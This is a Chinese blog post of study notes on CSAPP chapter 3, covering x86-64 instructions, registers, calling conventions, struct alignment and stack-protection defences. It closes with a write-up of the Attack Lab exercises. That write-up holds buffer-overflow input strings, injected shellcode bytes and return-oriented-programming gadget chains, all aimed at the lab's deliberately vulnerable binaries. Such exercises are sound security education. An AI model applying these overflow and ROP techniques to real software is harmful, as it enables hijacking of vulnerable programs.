Caiwen的博客

CSAPP第三章 - 程序的机器级表示

2025-07-19 09:53

数据格式

  • 字节,8位,汇编后缀为 b
  • 字(word)表示 16 位,2 字节,汇编后缀为 w
  • 双字(double words)表示 32 位,4 字节,汇编后缀为 l
  • 四字(quad words)表示 64 位,8 字节,汇编后缀为 q

浮点数使用单独的指令集,和上述一般的数据有所不同

  • 单精度(float),32 位,4 字节,汇编后缀为 s
  • 双精度(double),64 位,8 字节,汇编后缀位 l

寄存器

总的来说是 16 个寄存器,每个寄存器又分 4 个具体的寄存器,可以分别访问低 8、低 16、低 32、低 64 位的数据

此外 CPU 中还有一些条件码寄存器,主要配合控制指令来使用。条件码寄存器只存储一个位:

  • CF:进位标志。对于整数操作,表示最近的操作的最高位是否产生了进位,可用来检查无符号操作的溢出。对于浮点运算,如果运算结果是负数,或是有一个操作数是 NaN 的话就设置为 1
  • ZF:零标志。对于整数操作,表示最近的操作结果是否为 0。对于浮点运算,如果运算结果为 0 或是有一个操作数是 NaN 的话就设置为 1
  • SF:符号标志,表示最近的操作结果是否为负数
  • OF:溢出标志,表示最近的操作是否导致一个补码发生了正溢出或者负溢出
  • PF:奇偶标志位。对于整数操作,如果最近的操作结果是偶校验的(即含有偶数个二进制 1),则设置为 1。对于浮点运算,如果有一个操作数是 NaN 的话就设置为 1

一般情况下算数指令执行后就会设置条件码,但有如下的注意:

  • leaq 指令不设置条件码
  • xor 指令不设置 CFOF
  • 所有的移位操作,CF 为最后一个被移出的位,OF 被设置为 0
  • incdec 只设置 OFZF,不设置 CF

还有一些特殊的寄存器:

  • %rip 又称为 PC ,程序计数器,存放将要执行的下一条指令在内存中的地址

AVX 浮点体系架构还提供如下的寄存器:

这些寄存器主要用来存储向量,如每个 ymm 寄存器可以存放 8 个32 位值,或是 4 个64 位值,浮点数和整数都可以。不过如果单纯用来进行单个浮点数运算的话,只需要用到 xmm 寄存器的低 32 或 64 位

操作数

  • 立即数,以 $ 开头随后接一个 C 语言中可以表示的整数字面量,如 $-577$0x1F
  • 寄存器,以 % 开头随后接寄存器的名称
  • 内存引用,完整的格式是 Imm(rb,ri,s),表示的地址为 Imm+rb+s*ri,我们其中 Imm 是一个数字,rbri 是寄存器,s 是一个只能为 1 2 4 8 的数字。我们把 rb 称为基址寄存器,Imm 称为偏移,ri 称为变址寄存器,s 称为比例因子

指令

数据传送指令

源和目的的数据大小都一致情况:

有几个注意点:

  • 如果选用寄存器,寄存器的大小要和指令后缀相符合
  • x86-64 要求传送指令的两个操作数不能够都是访问内存
  • 使用 movl 传送完双字之后,该寄存器所对应的 64 位寄存器的高 4 字部分置 0
  • 使用 movq 的话,立即数只能是 32 位的,传送时是将 32 位立即数进行符号扩展再传过去
  • movabsq 则可以直接使用 64 位的立即数,但也只能使用立即数,并且传送目标只能是寄存器

小数据传到大数据的传送指令有两种:一种进行零扩展一种进行符号扩展

  • 上面不存在 movzlq,是因为 movl 在传送后自动清空高 4 字节,达到了 movzlq 的目的
  • cltq 无需指定操作数,他和 movslq %eax,%rax 一致,但是编码更加紧凑

C 语言中,如果进行强制数据类型转换的时候既涉及大小变化又涉及符号变化时,应先改变大小。比如一个 unsigned charint 的话,应该是零扩展到 32 位,而并非是符号扩展到 32 位

算数指令

加载有效地址

格式为 leaq S,D,这个指令的 S 部分必须是一个内存引用格式,其作用类似传送指令,把 S 表示的地址传送到 D 中。实际中这个指令和内存地址关系不大,只是单纯的计算数字,如:leaq 7(%rdx,%rdx,4),%rax 就相当于将 %rax 变为 7+5%rax

一元操作和二元操作

  • 上面的所有指令都需要添加后缀,比如 addq

  • 同样地,操作数不能同时是内存

  • 对于不符合交换律的运算,如 sub,一定是后面的操作数在前

移位操作

其中 k 为移位量,D 表示要作用的目标

  • k 必须是一个立即数,或是单字节寄存器 %cl 中,其他寄存器不可以
  • 上述的指令同样需要添加后缀。只要求 D 作为寄存器时大小和后缀相符即可
  • 如果 k 使用 %cl 的话,如果 D 的位长为 ww,那么位移量由 %cl 的低 mm 位决定,其中 2m=w2^m=w,高位部分会被忽略。比如 %cl0xFF 的话,salb 会移动 7 位,salw 会移动 15 位,sall 会移动 31 位,salq 会移动 63 位

128 位运算

Intel 把 16 字节的数称为八字(oct word)。为了表示 128 位的数据,我们规定 %rdx 存高 64 位,%rax 存低 64 位,然后我们有如下指令:

  • 注意 mulq 只有一个操作数,区别于上面有两个操作数的 mulq

  • divqidivq 指令执行后会分别把除数和余数放到两个寄存器中

  • 实际上对于非 128 位的数据进行除法或者取模运算的话也需要使用 idivqdivq 指令。这些数据在进行 div 指令前需要先通过 clto 指令来把自身符号扩展到 128 位

控制指令

仅设置条件码

cmptest 指令分别基于减法和按位与运算,但是只设置条件码

比较常见的是,cmp 指令用来判断两个数的大小,test 传递两个相同的操作数来判断这个数字的正负

访问条件码

通常条件码寄存器不会被直接访问,而是通过如下的指令来访问

  • 其中注意 lb 的后缀不再表示数据的大小了,而是 less 和 below 的意思

  • 无需增加后缀,会自动根据目标寄存器的大小推断

  • 操作数 D 必须是一个单字节寄存器

跳转

label 是汇编中的标号,如:

Unknown
1
2
3
4
5
movq $0,%rax jmp .L1 movq (%rax),%rdx .L1 popq %rdx

jmp 还可以有间接跳转,即跳转目标的地址是从寄存器或者内存中读取的,如:jmp *%raxjmp *(%rax)

跳转指令要跳转到的地址在机器码层面一般有两种编码方式:一种是 PC 相对的,即目标编码为实际地址与当前 PC (当前 PC 是下一条指令的地址)的差值,或者说下一条指令的地址加上跳转指令的地址记为真实跳转到的目标地址;一种是绝对的,即直接写明要跳转到的地址

跳转指令可以用来实现 C 语言的 if 语句,如:

c
1
2
3
4
if (test-expr) then-statement else else-statement

一般会被翻译成如下的汇编(用 C 的形式表示)

c
1
2
3
4
5
6
7
8
t = test-expr if (!t) goto false; then-statement goto done; false: else-statement done:

有意思的是汇编的测试条件和 C 的正好相反

条件传送

上面的跳转可能会影响处理器性能,因为现代处理器是流水线化工作的,一条指令的执行被拆成了好几步,上一条指令还没执行完毕就同时执行下一条指令。如果程序是顺序结构的话,那么处理器在执行的时候会将指令填满流水线。而当遇到分支的时候,处理器无法得知后续要执行的指令,流水线则会空闲。处理器为了保持流水线充满,会对分支进行预测,预测后续执行的指令,但是如果预测失败,则需要很大的惩罚回退已经执行的操作。

部分分支情况可以使用条件传送进行优化。这种优化会把两个分支都进行计算,然后在最后根据条件选择要选用的值:

只有满足相应的条件,才会进行传送

  • S 只能是寄存器或者内存,R 只能为寄存器
  • 不支持单个字节的传送
  • 无需增加后缀,会自动根据目标寄存器的大小推断

C 语言中使用三目表达式可能会更容易让编译器使用条件传送指令

有些情况下,有可能把两个分支的值都计算完毕之后比分支预测失败带来的惩罚还高,那么编译器就不会选用条件传送

如果分支并非单纯的计算值,而是可能有副作用,那么也不会选择条件传送

如:

看起来可以用条件传送,但是如果 xp 真的为空指针的话,提前计算 *xp 会导致空指针异常

浮点相关

浮点传送

其中 X 只能选择 XMM 寄存器,M 只能选择内存

如果浮点运算涉及到了立即数,那么需要由编译器先把立即数写到 rodata 段,然后从内存引用

转换操作

浮点转整数

截断会向 0 舍入

整数转浮点

一般源 2 和目的一致

单精度到双精度

如果想把单精度数据转成双精度数据的话,可以使用 vcvtss2sd 指令,如 vcvtss2sd %xmm0,%xmm0,%xmm0 即可把 %xmm0 的单精度变为双精度

不过 GCC 生成如下的代码

Unknown
1
2
vunpcklps %xmm0,%xmm0,%xmm0 vcvtps2pd %xmm0,%xmm0

vunpcklps 将两个 xmm 寄存器的值交叉放置,然后把结果放到第三个寄存器。比如第一个寄存器的内容为字 [s3,s2,s1,s0],另一个寄存器的内容为字 [d3,d2.d1,d0] ,那么目标寄存器的值会变为 [s1,d1,s0,d0]。那么对于上面这个指令,如果 %xmm0 的值为字 [x3,x2,x1,x0] 的话那么 %xmm0 会变为 [x1,x1,x0,x0]

vcvtps2pd 会将源寄存器的两个低位的单精度值扩展成 xmm 寄存器中的两个双精度值。对于上面这个例子,最终 %xmm0 变为 [dx0,dx0]

那么上述两个指令合起来的效果就是把 %xmm0 低 32 位表示的单精度浮点数转为两个一样的双精度

这样做不会有什么好处,GCC 这么做的原因也不明

双精度到单精度

可以使用 vcvtsd2ss %xmm0,%xmm0,%xmm0 指令,但是 GCC 产生如下的代码:

Unknown
1
2
vmovddup %xmm0,%xmm0 vcvtpd2psx %xmm0,%xmm0

vmovddup 会将 xmm 的低 64 位复制到高 64 位,于是如果 %xmm0[x1,x0] 的话会变成 [x0,x0]vcvtpd2psx 会将 xmm 的两个双精度数字变为两个单精度,并在高 64 位填充 0,即会变为 [0.0,0.0,x0,x0]

浮点运算

  • 第一个操作数 S1 必须是 xmm 寄存器或者是内存
  • 第二个操作数和目的都必须是 xmm 寄存器

  • 源和目的都必须是 xmm 寄存器

比较操作

浮点运算主要会设置 ZFCFPF,设置条件如下:

函数调用

压栈弹栈指令

%rsp 寄存器存放当前栈顶地址

调用返回指令

其中 call 指令会首先把当前 PC (即下一条指令的地址)压入栈中,用来后续返回,然后将 PC 置为要调用的函数的地址

ret 指令会从栈中弹出一个值(编译器需要确保执行 ret 时已经弹栈到返回地址处了),然后将 PC 置为这个值

参数和返回值

返回值放在 %rax 寄存器中,如果返回值是浮点数,则会放在 %xmm0

传递参数时,前 6 个参数通过寄存器传递,使用寄存器的规则如下:

多余 6 个的参数会直接压入栈中

对于浮点数参数,前 8 个浮点数参数会使用 %xmm0%xmm7 传递,剩余的会压入栈中

压入栈中的时候,无论是 8 位 16 位还是 32 位,都占用 64 位的栈空间

注意第七个函数位置是 %rsp+8,因为 %rsp 的位置上是 call 指令压入的返回值地址

寄存器

为了确保调用一个函数前后,被调用的函数不会覆盖调用函数稍后会使用的寄存器值,我们需要有一个约定。一些寄存器是需要调用者进行提前保存的,一些寄存器是需要被调用者保存的。

我们假设现在是函数 A 调用了函数 B

%rbx%rbp%r12 ~ %r15 被划分为被调用者保存寄存器。函数 B 需要确保自己执行前后这些寄存器的值不变。函数 B 要么根本不去动这些寄存器,要么先把这些寄存器的值压入栈中,返回时再恢复。这样,函数 A 可以在调用 B 前放心地把数据存到这些寄存器上

上述以外的寄存器(%rsp 除外)被划分为调用者保存寄存器,包括 ymm 和 xmm 这些寄存器。任何函数都可以随意使用这些寄存器,如果函数 A 需要确保这些寄存器在调用函数 B 后不变的话,需要自行保存

数据结构

跳表

对于 switch 语句,如果判断的情况比较少的时候可能会直接展开成 if 语句,如果判断的情况比较多,且判断的值范围跨度比较小的时候,就会使用跳表

比如:

会编译成:

其中,L4 是位于 rodata 段的数据:

换成 C 语言代码就是:

其中 && 表示获取某个代码位置的地址

大概就是把 switch 判断的值映射到一个比较小的值上面,然后以映射后的值作为下标直接从数组中获取跳转地址。这种带来的好处就是无论需要判断的情况有多少,执行 switch 指令的时间都是一样的

多维数组

多维数组在内存中的排列规则是,最后一个下标的元素连续,比如:

变长数组

ISO C99 引入了变长数组这一特性,允许声明数组时数组长度为变量

数组长度无法在编译期获知的话,可能会使得函数在返回时不好清理当前栈帧。为了管理变长栈帧,x86-64 使用 %rbp 这个寄存器存储当前的栈顶地址。由于 %rbp 是被调用者保存寄存器,需要先压入栈中。比如:

对应汇编:

运行时栈上的情况为:

当函数返回之前,会执行一个 leave 指令,该指令不需要操作数,等价于下面两条指令:

Unknown
1
2
movq %rbp,%rsp popq %rbp

即会直接把 %rsp 置为栈顶来清栈,然后恢复 %rbp

结构体

结构体可能包含多种数据类型。为了提高内存读写效率,数据之间需要进行对齐。对齐原则是任何 KK 字节的基本对象的地址必须是 KK 的倍数

比如:

  • struct P1 {int i;char c;int j;char d;};
偏移 0 4 8 12 16 对齐
内容 int i; char c; + 填充 int j; char d; + 填充 4

注意最后大小不是 9,d 后面还有 3 字节的填充。这么做是因为我们希望做到 P1 类型后面再跟一个 P1 类型的话,后面 P1 类型的第一个成员也满足对齐

  • struct P2 {int i;char c;char d;long j;};
偏移 0 4 5 8 16 对齐
内容 int i; char c; char d; + 填充 long j; 8
  • struct P3 {short w[3];char c[3];};
偏移 0 6 10 对齐
内容 short w[3]; char c[3]; + 填充 2

这个例子最后的填充说明,数组需要对齐的倍数为数组元素的大小而并非整个数组的大小

  • struct P4 {short w[5];char *c[3];};
偏移 0 16 40 对齐
内容 short w[5]; + 填充 char c[3]; 8
  • struct P5 {struct P3 a[2];struct P2 t;};
偏移 0 24 40 对齐
内容 struct P3 a[2]; + 填充 struct P2 t; 8

对于结构体,我们需要把结构体作为一个大的类型看。结构体的对齐并非是结构体的大小了,而是结构体成员中的对齐的最大值。结构体作为成员时,起始地址应该是其对齐的倍数。这么做的原因是,1 2 4 8 这四个数,后面的数字都是前面的数字的倍数,比如按 8 对齐之后自然满足按 2 对齐,但是按 2 对齐后未必能是按 8 对齐的,所以我们要取对齐的最大值

对抗缓冲区溢出

栈随机化

如果要进行缓冲区攻击,那么就需要把恶意代码放到缓冲区中,同时我们还需要得知插入代码的地址。因此一个防范手段是,程序开始时就在栈上分配一段随机大小的空间,这样就相当于把栈的起始地址随机了,这样一来攻击者将很难得知插入的代码位于哪里

一个解决手段是,将恶意代码前面加入若干 nop 指令,这种指令只会增加 PC 而不会有其他行为。这样,攻击者只需要猜对有 nop 指令的范围就可以了,跳到 nop 范围后程序将会沿着 nop 一直滑向恶意代码,对应的专业术语叫空操作雪橇(nop sled)

栈破坏检测

GCC 会评估一个函数是否容易受到缓冲区攻击,并在缓冲区的上方防止一个特殊的数据,被称为金丝雀。在执行 ret 指令之前,GCC 会生成检查代码,检查这个金丝雀是否发生改变。如果改变的话说明缓冲区被攻击,会立刻终止程序

其中第 3 行获取金丝雀数据,第 13 行进行金丝雀检查

编译时使用 -fno-stack-protector 参数可以禁止 GCC 进行栈破坏检测

限制可执行代码区域

可以在分页的时候限制执行权限

命令行工具

产生汇编代码:gcc -Og -S mstore.c,其中 -Og 会使得编译器尽可能保持代码的整体结构,-S 说明生成汇编代码

产生机器代码:gcc -Og -c mstore.c-c 表示产生二进制的机器代码

反汇编:objdump -d mstore.o 可以把上面产生的二进制机器码反汇编

Bomb Lab

写了几天的实验过程突然丢失了,等大二下学期正式学 CS 的时候再补()

Attack Lab

Phase 1

我们需要进行一个缓冲区攻击,使得 getbuf 函数返回值直接跳到 touch1 函数

大概的思路就是我们想办法把 getbuf 函数栈顶上方的返回值地址给篡改一下

首先 objdump -d ctarget > disa.asmctarget 来个反编译。touch1 函数在 00000000004017c0 地址处,getbuf 函数的反编译:

Unknown
1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop

getbuf 函数开了个缓冲区之后就去调用 Gets 函数了。缓冲区大小为 40 字节。缓冲区前面 8 字节应该就是返回值地址。那么我们可以大概构造出:

text
1
2
3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 0a

前面 40 字节无所谓,用来填充缓冲区,后面 8 字节构造了到 touch1 函数的地址,最后给个 0a 作为换行符结束输入

Phase 2

这次我们需要让 getbuf 函数不仅跳转到 touch2 函数,还携带一个参数

我们可能要考虑,先篡改 getbuf 栈顶上面的返回值地址,让其先指向我们自己的代码,然后我们去修改 %rdi,然后再跳到 touch2 函数

一个困难之处在于可能栈地址是随机的,好在经过测试,ctarget 栈地址并没有随机。我们使用 gdb 在 getbuf 出打断点,并输出 %rsp 的值,为 0x5561dca0。一个注意地方是我们需要在 gdb 中先 set args -q 使得程序不连接评分服务器

任务指导书中特别提示,我们最好不要使用 jmpcall 来进行跳转,因为这两个指令的编码可能会比较困难,建议我们使用 ret 指令,那我们可能需要考虑继续篡改 getbuf 栈顶再上面 8 个字节的地方(因为第一次从 getbuf 跳转后 %rsp 向上移动了 8 个字节)

touch2 的地址为 00000000004017ec

将指令变为二进制可以直接使用 gcc,如 gcc -c example.s 然后再 objdump -d example.o > example.d

先构造自己的代码:

Unknown
1
2
movq $0x59b997fa, %rdi ret

编译得到的二进制为

text
1
48 c7 c7 fa 97 b9 59 c3

然后我们考虑把这块代码放到缓冲区的位置,构造:

Unknown
1
2
3
4
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 fa 97 b9 59 c3 98 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00 0a

注意缓冲区最后的地址是 0x5561dca0,但是我们不能直接从这个地址开始执行,应该从 0x5561dc98 开始:

Unknown
1
2
3
4
(gdb) x/20xb 0x5561dc98 0x5561dc98: 0x48 0xc7 0xc7 0xfa 0x97 0xb9 0x59 0xc3 0x5561dca0: 0xa0 0xdc 0x61 0x55 0x00 0x00 0x00 0x00 0x5561dca8: 0xec 0x17 0x40 0x00

提交后出现了段错误:

Unknown
1
2
3
4
5
6
7
8
9
10
Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget Ouch!: You caused a segmentation fault! Better luck next time FAIL: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:FAIL:0xffffffff:ctarget:0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 FA 97 B9 59 C3 98 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00

根据 gdb,发现 touch2 判断通过之后还需要执行一个 validate 函数,这个函数调用 notify_server 函数,执行这个函数时发生了段错误,可能是我们注入的 touch2 地址破坏了什么东西

看样子我们不能溢出太多,不然会造成莫名其妙的破坏,于是我考虑另一个方案,跳到我注入的代码之后,我先把 %rsp 减少 8,然后再把 touch 地址写到 (%rsp) 处,这样就确保对栈破坏最小

Unknown
1
2
3
4
movq $0x59b997fa, %rdi add $-8, %rsp movq $0x004017ec, (%rsp) ret

得到二进制:

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
ans2.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 48 83 c4 f8 add $0xfffffffffffffff8,%rsp b: 48 c7 04 24 ec 17 40 movq $0x4017ec,(%rsp) 12: 00 13: c3 ret

构造

Unknown
1
2
3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 fa 97 b9 59 48 83 c4 f8 48 c7 04 24 ec 17 40 00 c3 8c dc 61 55 0a

终于通过

不过后续在做 Phase 3 的时候实在好奇为什么不能再往上多修改一些栈数据,不能多修改的话可能会影响 Phase 3 的发挥。

在 gdb 中,触发段错误后,使用 disas 看到了触发段错误的指令:movaps %xmm0,-0x40(%rbp) 查看 %rbp 的值是正常的,应该不是引用了非法内存,这就很奇怪了,于是询问 ai 得知,movaps 这个涉及到 %xmm0(涉及到的原因应该不是浮点运算,应该是使用 %xmm0 做向量运算),这个指令要求目的地址按 16 字节对齐,一般情况下编译器会自动保证这里是满足对齐要求的,但是我们之前修改了 %rsp ,可能破坏了对齐

Phase 3

这次要求我们让程序跳转到 touch3,要求我们不仅注入代码还要注入特定字符串,并传递字符串指针作为 touch3 的参数

cookie 对应的 ascii 码的十六进制表示为 0x6166373939623935,然后再加一个 00 结尾。首先一个问题是这个字符串数据放在哪里。一开始怕破坏太多栈空间导致段错误(后来才知道是对齐的原因),所以考虑把数据放在栈中比较靠近底部的位置,然后在自己注入的代码中去注入数据:

Unknown
1
2
3
4
5
6
7
movq $0x6166373939623935, %r8 movq %r8, 0x55620000 movq $0x00, 0x55620008 movq $0x55620000, %rdi add $-8, %rsp movq $0x004018fa, (%rsp) ret

不过遗憾的是这样编译出来的代码太大,超过了 40 字节,导致后面无法再篡改返回值地址了

观察 x86-64 指令的编码,如果直接指定内存的地址,那么会直接占用 8 字节,而如果是根据寄存器 + 偏移进行寻址的话编码大小会少一些

目前比较好控制的寄存器就是 %rsp 了,当跳到我们注入的代码之后,此时 %rsp 指向 test 函数的栈顶,我们考虑把数据直接注入到 %rsp

Unknown
1
2
3
4
5
6
7
movq $0x6166373939623935, %r8 movq %r8, (%rsp) movq $0x00, 8(%rsp) movq %rsp, %rdi add $-8, %rsp movq $0x004018fa, (%rsp) ret

构造:

Unknown
1
2
3
00 49 b8 35 39 62 39 39 37 66 61 4c 89 04 24 48 c7 44 24 08 00 00 00 00 48 89 e7 48 83 c4 f8 48 c7 04 24 fa 18 40 00 c3 79 dc 61 55 0a

通过

Phase 4

从这个 phase 开始,我们需要一个新的被称为 ROP 的攻击手段。任务指导书中介绍了这个手段。

大概就是,如果程序的栈地址是随机化的,且栈所处的内存被记为不可执行,那么前面的代码注入的方法就行不通了,甚至使用 nop sled 都无法发挥作用。ROP 考虑利用现有的代码,汇编指令都是一个一个放置的,只有我们找对了第一个指令的起始地址,那么后续指令就会一个一个跟着执行,但是如果我们截取现有代码中的一部分指令,比如从一个完整的指令中间开始解码指令,有可能就能得到我们想执行的恶意代码。一般我们需要反编译程序然后找到这种指令的首地址。我们可能更倾向于找最后是 0xc3 结尾的部分,因为 0x3c 在 x86-64 中是 ret 指令,这样的话我们可以在执行一部分恶意代码之后跳到下一个地方执行恶意代码。

本次 lab 为了简单起见,要攻击的程序 rtarget 里面有很多奇怪函数,目的是暴露潜在的恶意指令,方便我们攻击。并且任务指导书中划定了寻找可以利用的指令的范围。

Phase 4 需要我们像 Phase 2 那样进行攻击,大概就是我们需要寻找可以利用的指令,这些指令可以调用 touch2 并传递一个参数

要注入数据的话,直接从现有指定中找应该是几乎不可能的。不过指导书里有一个提示,我们可以考虑利用 pop 指令,这个可以把当前栈顶数据弹到寄存器,而栈顶的元素我们是可以自己去设置的

那么我们现在要寻找的目标是一个 pop %rdi 或者是 pop 后再 mov%rdi

指令对应的字节如下:

首先是这里

text
1
2
3
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret

58popq %rax,可以让我们的数据传到 %rax 中,后续的 90nop,而

Unknown
1
2
3
00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret

中的 48 89 c7 则可以直接让我们把注入的数据传到参数中,后面的 c3 直接返回

两者的地址分别是 0x4019ab0x4019a2,touch2 的地址为 0x4017ec

于是我们这么构造:

text
1
2
3
4
5
6
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00 a0

显示填充缓冲区,然后是第一次跳转地址(到 pop),然后是注入数据,然后是第二次跳转地址(到 mov),然后是第三次跳转地址(到 touch2)

Phase 5

指导书在这里开始有点劝退还挺有意思()

首先提到这里需要用到一些新的指令

D 组比较有意思,这些指令执行之后并不会改变任何寄存器,可以视为 nop 指令

以及提到了标准答案用到了 8 个 gadgets,非常可怕

同时还说到了 movl 会将寄存器的高 32 位清零

首先我们要考虑还和上面一样注入字符串的数据。字符串指针的数据比较难搞,因为我们现在不知道栈的具体地址,不能直接把指针指向栈上。而给出的指令都没有涉及到内存寻址。

我想到一个办法,可以考虑把数据正好注入在最后执行 touch3 之前的栈顶上,然后把 %rsp 赋值给 %rdi。不过对应的 48 89 e7 没有在代码中找到。反而是观察到了 48 89 e0 有很多,对应于 mov %rsp,%rax。我们过滤掉一些不能用的(即 48 89 e0 后面还跟着其他未知指令),还有这些:

Unknown
1
2
3
4
5
6
0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret 0000000000401aab <setval_350>: 401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401ab1: c3 ret

那么再考虑从 %rax 传到别的地方,刚好就有下面这个 mov %rax,%rdi

Unknown
1
2
3
00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ret

不过还有一点,我们把 %rsp 传给 %rax 时,%rsp 指向的内容是一个 8 字节的下一步要跳转的地址,我们是不可能在这个地方放置数据的

一个想法是,我们希望 mov %rsp,%rax 之后再 pop 一下,让 %rsp 往下走一下

要实现这个,我们可能需要 89 e089 e7 后面找 585f,可惜根本找不到。

于是到这里就完全卡住了,我几乎把能用到的指令全找出来了。大概是:

  • 可以使用 pop %rax 将栈中数据转移到 %rax
  • 可以通过 mov 指令将 %esp 数据转移到 %rax

然后数据从 %rax 有两个走向

  • %rax -> %edi
  • %rax -> %edx -> %ecx -> %esi

不过现在还是难以获得注入字符串数据的指针。在这里卡了快一天了,最后直接让 ai 给了一点提示。ai 说注意使用 lea 指令。于是我突然意识到,我们不光可以从字节中直接截取出指令,还能直接利用现有的指令,比如这里就有个非常关键的地方:

Unknown
1
2
3
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret

这个可以让 %rax 变为 %rdi + %rsi,而 %rdi%rsi 是可以根据我们上面分析出来的数据走向得到的

先整理一下我们用到的指令的地址:

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
popq %rax: 0x4019cc 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 ret movq %rsp,%rax: 0x401a06 0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 ret movq %rax,%rdi: 0x4019a2 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 ret movl %eax,%edx: 0x4019dd 00000000004019db <getval_481>: 4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax 4019e0: c3 ret movl %edx,%ecx: 0x401a34 0000000000401a33 <getval_159>: 401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax 401a38: c3 ret movl %ecx,%esi: 0x401a27 0000000000401a25 <addval_187>: 401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax 401a2b: c3 ret lea (%rdi,%rsi,1),%rax: 0x4019d6 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret

于是大概的思路就是,我们先把 %rsp 移动到 %rdi 中,然后通过 pop 将一个地址偏移量的数据从栈中传到 %rax,然后到 %esi,然后使用 lea 计算出字符串的地址,再传到 %rdi 中。字符串数据应该放在所有跳转地址的最后面

一开始我是把 %rsp 放到 %esi 中的,后来在 gdb 中调试发现 rtarget 的栈位于整个虚拟内存空间比较高的一部分,这意味着栈地址的高 32 位是有数据的。而上面的指令中只有 %eax%edx,不能传 64 位的栈地址

然后大概是

Unknown
1
2
3
4
5
6
7
8
popq %rax 0x4019ca movl %eax,%edx 0x4019dd movl %edx,%ecx 0x401a34 movl %ecx,%esi 0x401a27 movq %rsp,%rax 0x401a06 movq %rax,%rdi 0x4019a2 lea (%rdi,%rsi,1),%rax 0x4019d6 movq %rax,%rdi 0x4019a2

然后注意一下地址偏移数据的构造。%rsp 被存到 %rax 的时候,%rsp 指向的位置后面需要继续放 4 个跳转地址,总共 32 字节,十六进制为 0x20

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 a0
最后更新于:2025-07-28 11:32

Caiwen
本文作者
一只蒟蒻,爱好编程和算法